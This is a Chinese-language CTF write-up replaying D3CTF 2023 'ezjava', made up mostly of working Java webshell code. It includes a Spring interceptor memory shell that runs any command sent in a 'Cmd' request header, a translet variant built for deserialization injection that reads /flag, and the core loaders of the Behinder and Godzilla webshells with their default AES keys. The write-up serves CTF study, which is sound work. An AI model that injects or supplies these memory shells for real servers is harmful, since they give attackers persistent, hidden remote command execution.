// 获取 WebApplicationContext
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext());
// 获取 RequestMappingHandlerMapping
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 注册 Interceptor
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) field.get(requestMappingHandlerMapping);
adaptedInterceptors.add(new SpringInterceptorEcho(1));
// 匹配特定路径的 Interceptor
// MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/demo"}, null, new SpringInterceptor(1));
}
public SpringInterceptorEcho(int n) {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getHeader("Cmd");
response.setStatus(200);
response.setHeader("Content-Type", "text/html");
if (cmd != null) {
OutputStream output = response.getOutputStream();
Process process = Runtime.getRuntime().exec(cmd);
InputStream input = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int n;
byte[] buffer = new byte[1024];
while ((n = input.read(buffer)) != -1) {
baos.write(buffer);
}
baos.write("\n".getBytes());
input.close();
output.write(baos.toByteArray());
output.flush();
}
return true;
}
}
就是一个普通的Interceptor内存马
当然要是不想拿shell,想直接访问路由的,就可以直接把命令写死就行,直接cat /flag
(毕竟是复现)
public class Memshell2 extends AbstractTranslet implements HandlerInterceptor {
public static int nums = 1;
static {
System.out.println("staart");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Memshell2 evilInterceptor = new Memshell2();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}
public static String replaceBlank(String str) {
String dest = "";
if (str != null) {
Pattern p = Pattern.compile("\\s*|\t|\r|\n");
Matcher m = p.matcher(str);
dest = m.replaceAll("");
}
return dest;
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code;
// if(nums == 1){
// Runtime.getRuntime().exec("grep -rn --exclude-dir={proc,sys} flag{* / > /tmp/1.txt");
// }
InputStream in = Runtime.getRuntime().exec("cat /flag").getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
System.out.println(output);
code = "{\"code\":\"200\",\"message\":\""+ Base64.getEncoder().encodeToString(output.getBytes())+"\"}";
if (request.getRequestURI().equals("/status")) {
String result = new Scanner(code).useDelimiter("\\A").next();
response.addHeader("Content-Type","application/json;charset=UTF-8");
response.getWriter().write(result);
response.getWriter().flush();
response.getWriter().close();
nums++;
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
复现
通过访问server的status让他访问register的/blacklist/jdk/get从而触发内存马逻辑返回控制的响应
不过两个curl之间要间隔10s,毕竟他要过10s才更新
直接访问路由的
冰蝎和哥斯拉逻辑
当时看的时候还不懂什么意思,后来看了下其他文章
原理分析不会,就说一下特征吧
冰蝎
关键代码
HttpSession session = request.getSession();
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
try {
String k = "e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
byte[] data = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Method m = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class clazz = (Class) m.invoke(Thread.currentThread().getContextClassLoader(),data, 0, data.length);
clazz.newInstance().equals(pageContext);
}
catch (Exception e) {
e.printStackTrace();
}
冰蝎可以通过创建hashmap放入request、response、session替换pagecontext来解决
然后后一部分就是AES解密然后加载
当然这只是关键代码,网上有很多应对不同版本的解决方法
哥斯拉
哥斯拉不像冰蝎中传入pagecontext能够通过session拿到parameters,那么如果我们抛弃session,直接把parameters通过equals函数传给payload类呢?
String xc = "3c6e0b8a9c15224a"; //定义AES加解密的Key,默认为key
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;
。。。。。一些加密解密的函数,像base64,AES,MD5,反射ClassLoader的defineClass等
try {
byte[] data = base64Decode(req.getParameter(pass));
data = x(data, false);
if (payload == null) {
payload = defClass(data);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(req);
resp.getWriter().write(md5.substring(0, 16));
f.toString();
resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
resp.getWriter().write(md5.substring(16));
}
} catch (Throwable e) {
}
实现的关键是三个f.equals()
,前两个是必要的,后一个是非必要的
冰蝎的使用
注意加请求头就行,发起的请求是POST
finally
本来想测试一下哥斯拉逻辑的,但是我不知道为什么不行,哥斯拉连不上,找原因什么的根本不会,算了
还是学习一下jdk高版本绕过方法吧
reference
Hessian CVE-2021-43297 & D3CTF 2023 ezjava - X1r0z Blog (exp10it.io)
[D3CTF x AntCTF 2023 Web 赛后复现 - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/05/06/D3CTF x AntCTF 2023 Web 赛后复现/)